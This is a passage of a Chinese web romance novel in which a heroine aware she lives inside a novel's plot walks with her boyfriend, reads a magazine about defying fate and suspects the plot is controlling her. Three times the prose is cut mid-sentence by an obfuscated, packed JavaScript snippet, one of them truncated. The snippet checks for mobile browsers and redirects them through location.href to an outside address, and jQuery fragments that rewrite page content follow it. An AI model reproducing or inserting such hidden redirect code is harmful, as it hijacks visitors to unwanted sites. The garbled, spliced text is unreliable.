曹非丝毫不惧,理直气壮对视回去:“教一个是教,教两个也是教嘛,男步动作都一样。” “双人舞,应该和你自己的舞伴练习才对吧?”段胥阳露出一个皮笑肉不笑的假笑:“你跟林莎同学商量一下呢,她也是位非常热心的好同学。” 眼看战火要蔓延到自己身上,正和室友们一起竖着耳朵偷听的林莎如丝般顺滑地加入隔壁陌生同学的聊天当中:“我也觉得这个牌子的粉底液好用,不卡粉。” 对不起了曹非同学,她的脚真得有点肿,下课了就请换个人踩吧! 总之,段胥阳想靠体育课给感情增温的计划,貌似也以失败告终。 下课铃声响起,他怏怏不乐地低头复盘。 教室这个环境不好,人多嘈杂、纪律严格,还有搅事精在一旁添乱,他还得再想想别的办法。 正想着,一只软绵绵的手钻入他的掌心,细腻的皮肤带着凉意,像云朵落入了太阳怀中,很有存在感。 “你们今天就要出发去首都录音,”罗姝与他手臂交缠:“我送你到校门口好不好?” 段胥阳一个勾手将她牢牢牵住,耷拉了一个下午的嘴角终于上扬起来:“送我的话你就来不及去食堂吃饭了,我给你点个外卖。” “小婵她们会帮我买好的,我们已经说好了。” 这一条路并不短暂,正赶上饭点,周围人来人往。 罗姝见段胥阳已经被哄好,就想松开手。 她还是趋向于保守,想要尽量对外隐藏这段关系。 但,当她主动把手递过去的时候,就该意识到想松开没那么简单。 段胥阳不仅不放手,好不容易放晴的表情又默默阴沉下来,随着两人暗暗拉锯几轮,更是双眼幽深。 “姝姝,天气挺冷的,牵着手还暖和一点,你说呢?”他咬牙切齿地从牙缝里挤出几个字。 罗姝无奈,只好跟他坦白自己的想法:“段胥阳,你们现在又跟热门动漫联动,又在筹备乐队专辑,半只脚已经踏进了娱乐圈。现在大张旗鼓地谈恋爱,不利于你们吸粉。” 听到这个理由,段胥阳的心肠又软了下来,他晃了晃两人相牵的手,歪着头问她:“那我偷偷摸摸地谈恋爱,就不是谈恋爱了吗?” “也不是这个意思。”罗姝感觉自己有点晕。 她对于“艺人谈恋爱会妨碍事业”的观点其实来源于小说原文,她本身并没有关注过娱乐圈。 所以她想要做的风险防控,归根结底是要还原小说中段胥阳刚出道时比较清朗的舆论状态。 她并不想因为自己阻碍了段胥阳原本顺畅的星途。 但被他这么一点,她也意识到了自己视角的缺失。 她好像并没有 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|17005647|192695||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 考虑到作为粉丝的心情,隐瞒恋情也是欺骗,甚至更伤害粉丝的感情,后果会更糟糕。 “那怎么办?”她泄气地低着头,看向两人交叠的手:“我不想影响你。” “姝姝,我足够坦诚,也足够有实力,就不怕没有听众。” 段胥阳将她往怀里揽了下,贴着她耳语:“我只是个搞音乐的,我并没有能火遍大江南北成为顶流的想法。我们能通过音乐传达我们的态度,听众也能从中汲取到力量,表演者和倾听者能成为彼此的知己,这就足够了。” “而且,你怎么这么肯定会影响到我呢?”段胥阳说到这里自己也有些不自信:“现在的听众对乐队的感情状况要求也这么高吗?” 罗姝心虚,没敢说话。 毕竟她的参照物是三年后已经从乐队单飞的段胥阳。 “不过,也还有其他原因。”沉默半晌,罗姝又一次开口。 她又想起高一那年,段胥阳送了她一袋糖果。那时她曾惴惴不安很久,总是害怕段胥阳听说什么,觉得她是个麻烦精,把糖要回去。 现在,她要亲口把这件令她担忧了许久的事告诉他:“你可能也知道,我高中的时候风评不太好,我妈做了些伤害同学们的事。你要是找一个糟糕的女朋友,你也会被攻击的。” 段胥阳完全没有料到他会从罗姝嘴里听到这番话。 “才没有,咱们学校的同学们一直都很钦佩你,任谁知道我们在一起了,都只会羡慕我。” “姝姝,大家只是不知道该怎么和你相处,我们都知道你并没有做错什么。” 他越说,越感受到语言的贫瘠。 虽然罗姝只是说了寥寥数语,但从中表露出的她对于过去那些事情的在意程度,已经足以令段胥阳感到心惊。 段胥阳从曹非口中得知了罗姝的高中往事后,就曾在暗中打探过不少高中校友的口风。 他的朋友圈还算广,各个年级段的好友位都有几个,问了一圈后,他发现真正知道罗姝母亲曾到学校闹事的人,其实只有他们两个班的同学。 要不是因为他们两个班共用一套教学班底,关系亲如一家,或许这个消息甚至都不会传到他们班。 这件事的传播范围其实非常小,但它在罗姝心里却已经无限放大。 无人知道那个总是独来独往,只顾埋头学习的女孩,她看似平淡的外表下有多么芥蒂这件事。 段胥阳突然感到一阵钻心的疼。 他从前的想法如今想想也天真到荒唐。 他竟然真的认为,罗姝只是想把精力都放在学习上,所以才宁愿在群体生活中独处。 那分明是她撕裂了一道难以愈合的伤口,在时间的冲刷中变得麻木。 如果在她最孤独的时候,他能不顾虑太多,果敢一些就好了。 “你知道吗,我高中的时候就很想跟你做朋友。”段胥阳收敛住那些心疼,脸上露出笑容:“所以每一次,有老师偷偷在晚自习给我们放电影的时候,我都会坐你旁边,你还记得吗?” 27. 恋爱第5天 在罗姝记忆中,两个班级聚在一起看电影的活动还真不少。 尤其是高一高二时期,每个月都会有老师偷偷合谋给他们放电影放松一下。 教学楼按照年级分栋,每层只有四个班级。罗姝的班级正好靠边,甚至有一扇窗户正对着楼梯,出于保险大家都不敢在班里搞什么小动作。 老师们也担心会被巡课的校领导直接抓包,所以每逢娱乐环节,都让罗姝他们自己搬着小板凳到段胥阳班里拼桌,久而久之,每个人都多了个邻班的“同桌”。 两个班人数都是单数,总有一个落单的人,罗姝每一次都是直奔着那个单人座而去。 她还真没有注意过那个落单的座位究竟坐着谁。 “我们两个班不是都轮流单独坐吗?”罗姝绞尽脑汁地回忆,她脑海中只闪过几个片段:“我只记得一次,你提醒我不要在光线不好的时候写作业,而且那次你自己还做错了题。” 段胥阳情绪还没上来,就被哽了回去。他无语地瞥她。 她不提他倒还忘了,明明是他好心,见她在难得的放松时间还低头写作业,提醒她光线不好。 这小家伙却抬起头看了他一眼,欲言又止了几秒钟,指着他摊在桌面上的试卷来了一句:“这道题应该选C,你选错了。” 从小就没有一点浪漫细胞。 段胥阳一边腹诽一边控诉:“那是因为你之后每次过来就闭着眼睛睡觉,你的眼里根本没有我。” “我没有睡觉……”罗姝抠了抠脸,语气弱弱地反驳:“写作业不是伤眼睛吗?我就默背课文和单词了。” 那一脸理所应当的样子直接把段胥阳气笑了:“好,你就这样偷偷努力,把我们所有人甩开,断层当年级第一。” “对啊,我最擅长偷偷努力了。”罗姝看出他的调侃,也用玩笑的口吻说着真话:“不止看电影的时间偷偷学习,我还比其他人都早起晚睡至少两个小时。” “谁让我并没比别人聪明多少,想当第一名,只能偷时间再多努力一些,压根没有时间去娱乐。” 再提起当初自己的荣光,连罗姝自己都感慨万千。 高考成绩出来后的那段时间,亲人也好,邻里也好,每个人看她的眼神都是那样惋惜,那样恨铁不成钢,也不乏有幸灾乐祸的,仿佛她的未来已经被钉死在谷底一样。 好像这个结果出来之后,她曾经为之付出的全部努力都付之东流,投入过的全部精力都原地蒸发。 所以每个知道她曾经为之努力到艰苦的人,才会露出同情的神情,认为她的过去是一种浪费。 当父母的指责劈头盖脸的落到身上时,罗姝也曾恍惚过。她是否真得缺乏社会的阅历,做出了一个错误的决定,为日后制造了更大的代价? 这种恍惚其实持续了很长时间,直到她开始学习剪辑。 明明最初只是想借此同男主角段胥阳保持联系,但当她发现自己可以很快入门一个陌生的技能时,她才意识到。 其实她已经积淀了足够多的知识和本领,她可以在任何一个领域里重新发光。 “那你的小如意算盘今天开始要打崩了。” 罗姝耳边传来他得意洋洋的语调:“我会拉着你到处玩,各种放松,不会再让你偷时间努力了。” “哎,要不我现在就绑架你跟我一起去首都录音怎么样?”段胥阳开着玩笑,竟然还给自己说心动了,他忍不住畅想:“周六我们尽量早点录好,周日还能挤出时间到处逛一逛呢。” 熟悉的校园大门已经近在眼前,罗姝笑着推了他一把:“别闹了,快去机场吧,小心赶不上飞机。” 从同一节体育课下课的曹非扫了一辆单车早早出了校门,现在正坐在汽车驾驶舱里冲他们招手。 段胥阳依依不舍地把人松开:“行,那你要跟我打视频电话。” “恐怕不行,”罗姝露出歉意的表情给他泼了一瓢冷水:“我每天还得给家教学生视频补课,到下课时间也差不多要熄灯睡觉了。 段胥阳:“……”坨坨这小子这会儿变得极其多余。 说再多也没用,罗姝又跟曹非点头示意了一下,便转身汇入来来往往的学生大军中重新走进校园。 她的背影在段胥阳眼里越变越小,渐渐缩成一个小点。 曹非按了下喇叭:“上车啊,还等什么呢?” 段胥阳坐上副驾驶,系好安全带又往校园里看了一眼,突然说了一句:“怎么到现在,我还是能一眼就在人群中看到她呢?” 明明那个显眼的红色箭头已经消失了。 曹非不懂他在说什么,他动作流畅地启动汽车启航,说了句:“这有什么好奇怪的,我们刚上高中的时候,你不是还能从成百上千个穿着一模一样校服的朵拉头里一眼认出她吗?” 他们高中限制女生发型,必须剪短发,还要求前不过眉侧不过耳。女生们站在一起简直长得一模一样,就连许多家长都分不清自家孩子。 但段胥阳自从在刚开学的开学仪式上见过罗姝一次后,就能精准分辨她的身影。 视野尽头的罗姝转过一个弯,彻底消失在建筑后。 段胥阳这才收回目光,很爽朗地笑了一声:“是啊,命运都慢我两三年。” —————— 周六,罗姝大中午就接到了段胥阳的电话。 有一些书本资料被寄到了小别墅工作室的门口,正露天摆在地上。天气预报显示今晚有雨,段胥阳担心书被泡坏了,便委托罗姝帮忙去收一下快递。 段胥阳甚至在电话里郑重其事地做了口头承诺,保证自己会带多个礼物回来给罗姝当报酬。 男朋友总爱耍宝,罗姝挂断电话后一边忍着笑,一边收拾东西出发去工作室。 晚上大概率会下雨,她也不想来回跑,便打算直接在工作室里住一晚上。 除了提前翻看乐队几人这段时间录制的素材,还能趁机在安静的环境里多练习几套四级题,罗姝对这次跑腿其实非常满意。 但谁会嫌礼物多 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|17014235|192695||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 呢? 维持着好心情,罗姝嗅着空气中若有若无的腥味,背着小包脚步欢快地一路步行到了小别墅。 才刚进入别墅区,她就远远看到一个褐色的快递箱正放在别墅小院的院门口。 罗姝走近,先蹲下来看快递单确认信息。 收件人是曹非,地址也确实是这里,她将快递拾起,起身时意外瞥到寄件人的姓名栏里写着三个小小的铅字:曹女士。 是曹恩悦?还是曹非的其他亲人? 罗姝心里快速闪过一个疑问,随后她无趣地甩甩头,让自己别对曹恩悦的存在草木皆兵,过度关注。 她开门进去,将快递放到门口的鞋柜台面上,发信息告诉段胥阳快递已经取到了。 段胥阳不仅秒回,他还抓住机会打了个视频电话过来:“姝姝,听曹非说应该是一些杂志,你帮我拆开看看东西对不对。” 镜头好像自带美颜效果,画面中的两人都有些失真,段胥阳抓着手机从各个角度都拍了自己一圈:“姝姝,你看我帅不帅?梁导安排了摄影师拍摄我们录歌的画面,还让化妆师给我们做了造型。” 段胥阳的脸上其实看不出多少化妆的痕迹,但精心设计的发型让他的颜值又提高了不少,甚至这个还没有正式出道的青年,已经隐隐有了星相。 “嗯,超级帅。”罗姝先竖起大拇指对此表示肯定,便将手机镜头对准了快递箱开始开箱。 只比A4纸略大一些的纸箱大约十公分高,里面还包裹着一层防撞的泡泡纸,罗姝一层层拆开胶带,取出十本时尚杂志。 “对,就是这款杂志,曹非拿来装饰我们客厅那个小书架的,你要是累了想放松一下也可以看。”段胥阳嘴巴像机关枪一样迅速说完这段话,就不得不道别:“我得先去忙了,你晚上记得锁好门窗。” 最后一个字的尾音还没说完,视频电话就火急火燎地挂断,也不知道他硬挤出时间视频这一两分钟有什么用。 罗姝无奈摇头,把杂志抱到小书架旁一一放置进去。 色彩鲜明、造型独特的杂志封面每一本都极抓眼球,罗姝每拿起一本都忍不住欣赏片刻才舍得放下。 就这么磨磨蹭蹭地摆放了十几分钟,罗姝再度低下头,六月刊的封面就这样闯入眼帘。 不同于前几期刊物封面的珠光宝气和精致美丽,这一张封面的色调明显冷了下来,风格也大相径庭。 仿佛原始森林般绿到发黑的背景里,四肢纤长的模特大半个身体都陷在由苔藓和泥土制作的衣裙中。 她的肌肤上遍布污渍,仿佛刚从沼泽地里爬出来一般,表情冷峻,眼神坚毅。 一行显眼的花字印在模特的左边: 看得见的命运便可以打破,无人能摆布我。——设计师Skuld。 Skuld,诗寇蒂,北欧神话中掌握未来的命运女神。 罗姝愣了一下,她微微蹙着眉头,视线久久不曾从这行字上挪开。 看得见的命运,便可以抗衡吗? 28. 恋爱第6天 六月刊的主题就是突破命运的禁锢,Skuld是当月的主设计师,每一页的设计都带有她独特的风格。 不同于封面极其夸张的服装和动作,内页中的服装设计基本回归了正常的服装材质,但造型依旧夸张和虚无。 全本的构图极其统一,都是从各种各样的险境中挣脱逃离,模特们的战损妆造更加凸显眼神,每个人都凌厉且坚定。 罗姝很难说自己没有受到触动,她一页接着一页慢慢翻看,一直翻到最后几页,看到了对设计师Skuld的专访。 当主持人问起她为什么要做这样的主题,Skuld回道:“当个人的主体性在不断增强的时候,就会意识到这个世界上真正能够掌握自己未来的人凤毛麟角。” “总有各种各样的声音影响着你、指挥着你、促使着你去做一些事情,那些或许并不是出自本心做出的决定,建构了我们的人生。” “自由的灵魂感到压抑,生活的态度就会消极。不少人选择‘躺平’,选择成为一条看似翻不了身的‘咸鱼’,口口声声说着‘认命’。” “但他们仍在兢兢业业地活着,动力不足地思考着怎么让自己半死不活的生活过得更舒适一点。” “那就不叫‘认命’。” “真正放弃自我的人,不会再考虑自己的感受。” “既然心有不甘,那就打破命运。”Skuld说。 彼时她正在孕期,随着体型变得圆润,她整个人也变得柔和,但她的话语依旧斩钉截铁:“当我们认为未来一眼就能看透的时候,就意味着我们拥有了对未知的选择权,只要敢于打破常规。” “所以我希望借助这一期主题来鼓励很多正在犹豫的人:当你已经迈上了与既定人生轨迹不同的道路时,坚定你自己,坚持走下去。” 远方灰蒙蒙的穹宇中钻出一条电龙,惊雷乍响,狂风骤起。 原本还算舒适的黄昏顿时变得混沌起来,这个秋末最后一场暴雨即将来袭。 比雨滴更早一步落下的,是纷纷扬扬的落叶。这些金黄的叶片被风裹挟着,在生命的尽头终于看遍了繁华街道,才无力地坠落下来。 罗姝从怔忡中被惊醒,她四处环顾了一下,疾步匆匆地跑去关上了几扇用来通风的窗户。 被这突如其来的插曲打了个岔,罗姝看了眼时间,已经不算很早。她将剩余的杂志迅速收到了书架里,便缩回了自己的剪辑室。 四六级考场有限,所以学校有硬性要求,规定大一新生中只有英语高考成绩在130分以上的新生才可以在上半学期报名。 罗姝高考成绩为132,刚好达标,她第一时间就报了名,并计划在大一这一年里将四六级证都考到手,所以这段时间英语都是她主要复习的科目。 难得独自一人,气氛安静,罗姝打算多练习一下听力题,她的听力题比起其他题型要薄弱不少。 只是,从来在闹市中都能定下心来专注学业的罗姝,却在一声声录音对话中罕见地走了神。 鬓角开始一抽一抽的疼,罗姝整个头皮都在发麻,她不知不觉在草稿纸上写满了“看见”、“命运”和“不甘”这几个词,有些笔迹都相叠在一起,混乱到看不出章法。 从小到大,罗姝已经习惯去压抑自己的情感,以至于她对自己的内心十分陌生。 在她看似认命的那些举措当中,是否暗藏着并不认命的意味呢? 看得见的命运背后,就是新的出路。 她的右手因为疼痛而颤抖,字迹也不再工整。那些扭曲的偏旁线条宛如被注入了生命一样,不停地钻入罗姝的眼睛。 字迹越多,她身体的不适感就越重,但相比起之前经历过的那种刺骨般的疼痛,仅是这种程度的头疼还在忍受范围之内。 罗姝恍惚中又感觉到一种熟悉。 耳机里还有两个宛如机械的声音在一板一眼地说着难以分辨的英文,罗姝仿佛一瞬间回到了那个嘈杂的六月,杂音难以祛除,烦闷如影随形。 她一把扯掉耳机,耳朵终于清净。 没了声音的干扰,罗姝乱成毛线的思绪又开始慢慢理顺。 她并不认为自己突如其来的身体不适是出自于自身的疾病,这段时间以来时不时都会遭遇这一遭,她已经百分之百确定这是小说原剧情对她做出的干扰。 她唯一需要搞清楚的,就是这看似毫无规律的干扰,究竟因何出现。 之前她经常会在某种事件发生后短暂地忘却一切事情,她并不能保证自己这一次就能保留记忆,但她可以尽最大可能在草稿纸上留下一些信息。 如果,这个无形的存在并不能影响客观事物的话。 她的手还在克制不住地写着那些词汇,明明越写越乱,罗姝却感觉自己的思路越来越清晰。 如果每一次被剧情制裁的原因都是一样的,她、甚至是他们,都已经不止一次产生过反抗命运的念头。 只是每一次,他们都会被更强大的力量强行消弭斗志,重新回到丧气的状态里。 大音希声,大象无形。 真正的命运是看不见的。 它被看到了,它被改变了,它在畏惧了。 棋盘上的棋子脱离了该有的位置,那棋局便有可能走入死局。 它在畏惧,是因为它也会虚弱、会消亡。 那么……当初既催促她暗恋,又阻止她告白的矛盾举措,是因为在她执行剧情的过程中,段胥阳这个男主角答应她的意愿更高,成为了变数,反而变成剧情的阻碍,会削弱它的力量吗? 好像说得通。 但又好像没有那么简单。 作为戏份最重的男主角,按道理来讲,段胥阳几乎每时每刻都受到剧情操控,他是如何做到在毫不知情的情况下,违背了剧情的意志呢? 罗姝蓦地顿住,她紧紧咬住自己下唇的一块唇肉,以此抵抗大脑越发剧烈的疼痛。 如果说,她作为一个工具人,都能在此刻称之为觉醒。那么,男女主角难道没有经历过她所遭遇的这一切吗? 35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|17022968|192695||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' >毕竟他们才是第一顺位。 —————— 秋季的最后一场大雨比罗姝预料中还要滂沱。 罗姝在朦胧雨帘中向外看了几眼,遍布小区的灰色小路已经被落叶覆盖,树冠上剩余的叶片也精神萎靡,只是还顽强的吸附在枝干上。 手机屏幕里坨坨的小脸挤成一团,他苦恼极了:“姝姝姐姐,我表哥最近又变卦了。” 罗姝收回视线,看到他那几乎要挤到变形的五官,忍不住露出一个笑容:“他又说什么了?” “他说那个会出现在头上的箭头也并不是最重要的,那玩意有信号延迟。”坨坨抱着胖胖的自己:“可我那天午睡的时候,刚给我同桌脑门上画了一个红色的箭头,现在她都跟我生气了。” 他气鼓鼓:“都怪我表哥!他不早点跟我说清楚!” 罗姝:“……” 她刻意板下脸来:“无论什么理由,在别的小朋友脸上乱画都是不对的,你先去跟小朋友道歉,然后多做两页练习册当做惩罚,可以吗?” 坨坨脸上涨得通红,嘴巴扁了又扁,听到还要多写两页练习册,委屈的泪水直在眼里打转。 他本就因为和同桌闹别扭而闷闷不乐,这下更是惆怅至极,他把这些账通通记到了表哥头上。 多了两页作业,坨坨原定于晚上的看电视时间直接被占用,等今日份的补习结束时,已经到了平时该睡觉的时间。 罗姝刚跟坨坨挂断视频电话,段胥阳就分秒不差地打了过来。 “我打了好几次都没成功,你们每天都要补习到这么晚吗?”甫一接通,段胥阳就一脸惊讶地问道。 “平时不会,今天有些意外。”罗姝长叹一口气:“我这个学生,他有个不着调的表哥,他那表哥也年纪不小了,一天到晚就会胡说八道,害得小朋友也跟着乱操作。” “你都不知道,他居然跟我学生说,每个人的另一半都是命中注定的,两人遇见的时候,就会在对方头上看到一个写着‘老婆’的箭头。” “我学生只有10岁,幼儿园文凭才刚拿到手没几年,就这么被忽悠了。他本来就一直想和他的同桌一起玩,现在等不及那个箭头出现,他趁着午休在人家小姑娘脸上画了一个箭头。” 罗姝无奈摊手:“他做错了事,得有相应的惩戒措施,所以我罚他多写了两页习题,才一直拖到现在。” 段·不着调的表哥本人·胥阳:“……” 他眼神飘忽着左看右看,没敢把视线落到罗姝脸上。 向来巧舌如簧的一个人此刻跟鹌鹑似的缩在一起,声音很低地说:“那也许人家不是胡说八道呢,就是有人能看到自己未来老婆头顶的红箭头。” “这是你们男生之间的统一说辞吗?”罗姝不解地歪歪脑袋:“就跟世界上一定有奥特曼一样?” 这不好说。 毕竟目前这个世界上应该只有他曾经拥有过这个金手指。 段胥阳轻咳了一声,生硬地转移话题:“晚饭吃了什么?”